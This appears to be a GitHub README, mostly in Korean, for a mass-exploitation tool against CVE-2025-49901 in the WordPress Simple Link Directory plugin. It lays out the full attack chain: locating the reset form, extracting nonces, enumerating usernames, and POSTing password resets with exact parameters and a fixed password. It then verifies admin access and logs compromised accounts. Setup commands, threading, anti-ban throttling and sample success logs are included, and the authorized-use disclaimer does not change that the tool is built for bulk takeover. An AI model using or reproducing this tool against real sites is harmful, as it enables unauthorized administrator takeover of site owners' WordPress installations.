nxploited/cve-2025-49901WordPress Simple Link Directory 플러그인 14.8.1 미만 버전은 고위험 인증 파손(Broken Authentication) 취약점에 취약합니다.
WordPress Simple Link Directory 플러그인 < 14.8.1은 높은 우선순위의 Broken Authentication 취약점에 취약합니다.
╔═══════════════════════════════════════════════════════════════════╗
║ CVE-2025-49901 · Simple Link Directory · qc-opd ║
║ Authentication Bypass → Password Reset → RCE ║
╚═══════════════════════════════════════════════════════════════════╝
SLD 페이지에 노출된 qc-opd 비밀번호 재설정 폼은 토큰, 이메일 확인, 권한 검사 등 사용자 신원을 확인하는 어떤 과정도 거치지 않고 사용자 이름과 새 비밀번호를 받아들입니다. 인증되지 않은 공격자는 WordPress 사용자 이름을 열거하고, 임의 계정에 대해 재설정 폼을 제출한 다음, 주입된 비밀번호로 즉시 인증할 수 있습니다. 즉, 대상 사용자의 상호 작용 없이 관리자 접근 권한을 얻을 수 있습니다.
┌─────────────────────────────────────────────────────────┐
│ 1. Locate SLD reset page │
│ Probe 28+ paths → match: "sld" + "_wpnonce" + form │
│ │
│ 2. Extract nonce │
│ Parse _wpnonce from HTML / JS / qc-opd-nonce │
│ │
│ 3. Enumerate usernames │
│ /?author=1..10 + /wp-json/wp/v2/users + hostname │
│ │
│ 4. Reset password for each username │
│ POST qc-restore-pwd=restore │
│ qc-uid=<username> │
│ pass=newhackerpass123 │
│ _wpnonce=<nonce> │
│ │
│ 5. Verify access (dual mode) │
│ Session mode → cookie check + /wp-admin/ probes │
│ Password mode → wp-login.php + admin panel check │
│ │
│ 6. Write confirmed hits → scan_results/reset_mass_success.txt │
└─────────────────────────────────────────────────────────┘
git clone https://github.com/Nxploited/CVE-2025-49901.git
cd CVE-2025-49901
pip install requests colorama urllib3
python3 CVE-2025-49901.py
requirements.txt
requests>=2.28.0
colorama>=0.4.6
urllib3>=1.26.0
Targets list file → list.txt (one host per line)
Threads → default 5
HTTP timeout → default 10s
Per-user delay MIN/MAX → anti-ban throttle (default 0.3 / 0.7s)
Delay between sites → default 1.0s
Output file → scan_results/reset_mass_success.txt
대상 형식:
https://target1.com
target2.com
http://target3.com/wordpress
모든 재설정에 주입되는 고정 비밀번호:
newhackerpass123
| 방법 | 엔드포인트 |
|---|---|
| 작성자 리디렉션 | /?author=1 → /?author=10 |
각 재설정 시도 후 도구는 두 가지 독립적인 방법으로 접근 권한을 검증합니다:
Session mode → checks wordpress_logged_in cookie + /wp-admin/ indicators
Password mode → full wp-login.php POST + multi-path admin panel probe
관리자 판별 지표:
id="adminmenu" · id="wpadminbar" · id="wpwrap"
users.php · plugins.php · plugin-install-tab · upload-plugin
[HH:MM:SS] [https://target.com] NONCE: OK | RESET: OK | ACCESS: 1 HIT
[HH:MM:SS] [https://target2.com] NONCE: FAIL | RESET: - | ACCESS: 0 HIT
scan_results/reset_mass_success.txt
[2025-06-01T14:22:10] https://target.com - account=admin pass=newhackerpass123 mode=password
[2025-06-01T14:22:18] https://target.com - account=editor pass=newhackerpass123 mode=session
Nxploited (Khaled Alenazi)
GitHub → https://github.com/Nxploited
Telegram → @KNxploited
FOR AUTHORIZED SECURITY RESEARCH AND EDUCATION ONLY.
The author bears no responsibility for use against systems
the operator does not own or have explicit written permission to test.
Unauthorized use violates the CFAA, CMA, and equivalent laws worldwide.
You alone are responsible for your actions.
© 2025 Nxploited · Simple Link Directory < 14.8.1 · 14.8.1에서 수정됨
| CVE | CVE-2025-49901 |
| CVSS | 9.8 치명적 — CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| ADP | CISA-ADP |
| 플러그인 | quantumcloud Simple Link Directory (qc-simple-link-directory) |
| 영향 범위 | 모든 버전 < 14.8.1 |
| 인증 | 불필요 |
| 유형 | 대체 경로를 통한 인증 우회 (CWE-288) |
| CWE | CWE-288 · 대체 경로 또는 채널을 사용한 인증 우회 |
| REST API | /wp-json/wp/v2/users |
| 호스트 이름 | 도메인의 첫 번째 라벨을 폴백으로 사용 |
| 하드코딩 | admin 항상 포함 |